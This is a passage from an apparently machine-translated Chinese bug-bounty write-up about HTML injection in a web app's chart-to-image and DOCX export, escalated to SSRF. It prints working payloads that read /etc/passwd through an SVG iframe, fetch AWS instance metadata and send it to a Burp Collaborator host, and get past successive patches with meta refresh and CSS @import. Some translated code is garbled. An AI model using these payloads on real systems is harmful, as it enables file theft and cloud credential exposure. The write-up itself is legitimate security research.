我正在测试一个应用程序,它是一个基于 Web 的分析解决方案,它与世界各地的研究机构打交道,以分析新出现的研究趋势并创建报告。
由于该应用程序大量处理数据分析,该应用程序具有将研究数据显示为饼图、图形、表格等的功能。还可以使用数据准备报告并与共同研究人员共享。
这些饼图、报告和图形可以导出为 DOCX、PDF 和 PNG。你知道我要去哪里吗?
开发
正如我们之前所了解的,研究数据以图表的形式显示。以下是相同的屏幕截图。
在屏幕截图的右侧,我们看到“将图表导出为图像”选项
单击“将图表导出为图像”后,我们会看到一个带有图像内容的 POST 请求,如下面的屏幕截图所示。
我最初只是删除了整个content
参数并替换为
<h1>h1 注入</h1>
该图像是PNG图像,将内容替换为“h1”标签后,服务器没有任何验证/输出编码,我可以看到h1标签注入成功。我没有很多截图。
由于 HTMLi 运行良好,我注意到svg
发送了许多标签。我只是使用下面的有效载荷来检索etc/passwd
内容。
<svg width="500" height="500" xmlns=" http://www.w3.org/2000/svg " xmlns:xlink=" http://www.w3.org/1999/xlink "><foreignObject width="500" height="500"><iframe xmlns=" http://www.w3.org/1999/xhtml " src="file:///etc/passwd" width="800" height="850"/></foreignObject></svg>
而且我能够按预期检索文件内容。
已应用补丁
## 旁路-1
客户对像iframe
script
. 所以获取文件内容并不像之前那么简单。
我能够使用image
标签和其他使用src
属性的标签在我的服务器上接收回调。
由于不允许使用 javascript(脚本)标签,我的思考过程是以某种方式找到运行 JS 的方法。
通过https://github.com/allanlw/svg-cheatsheet我了解到可以运行“ inline in event javascript ”。
我在https://github.com/allanlw/svg-cheatsheet#inline-in-event使用了有效负载,并且内联 JS 确实有效。
现在我需要一种方法来泄露数据。我构建了以下有效载荷
代码语言:javascript复制<svg width="100%" height="100%" viewBox="0 0 100 100"xmlns=" http://www.w3.org/2000/svg " xmlns:xlink=" http://www.w3.org/1999/xlink "><image xlink:href=" https://google.com/favicon.ico " height="20" width="20" onload="fetch(' http://169.254.169.254/latest/meta-data/hostname ').then(函数(响应){response.text().then(function(text) {变量参数 = 文本;var http = new XMLHttpRequest();var url = ' https://3785e80n5cipba9xo2npdk7v7mdc11.burpcollaborator.net/' ;http.open('POST', url, true);http.send(参数);})});" /></svg>
有效载荷是如何工作的?
- 我们加载 Google 的网站图标,加载成功后,触发事件处理程序onload 。
- 使用 Fetch API,我们请求 AWS 元数据。
- 我们将元数据响应存储在“params”参数中。
- 然后服务器向 burp 协作服务器发出 POST 请求,元数据作为 POST 正文。见附件图片作为证据。
## 旁路-2
客户现在已经实施了阻止 javascript 的修复程序。另外,如果您还记得在诸如此类的标签上应用了输出编码script
iframe
。
然后我读到了这个有趣的绕过——https: //twitter.com/kunalp94/status/1502527605836173312
我使用了相同的meta
标签,结果证明是成功的。下面分享payload
<meta http-equiv="refresh" content="0;url=http://169.254.169.254" />
## 旁路-3
客户应用更多的输出编码。我没有选择余地,然后想起了 Nahamsec 的精彩演讲。下面的视频
在这里,Ben 谈到了style
标签 (CSS) 上缺少验证。我也试过了。
我尝试使用style
, import
,link
标签。我成功地获得了回调。
style
我使用了下面的有效负载(标签内的 HTML )并且它有效!
<style><h1>h1taginjection</h1><iframe xmlns=" http://www.w3.org/1999/xhtml " src="file:///etc/passwd" width="800" height=" 850"/>
@import url( http://ta79rlzq77p2kdoak91nqryxlorff4.burpcollaborator.net/import.css );</style>
## 最终修复
在又一个补丁和更多编码之后,我尝试了各种标签,但没有成功。
向 DOCX SSRF 报告
与上述利用类似,“向 DOCX 导出报告”也存在漏洞。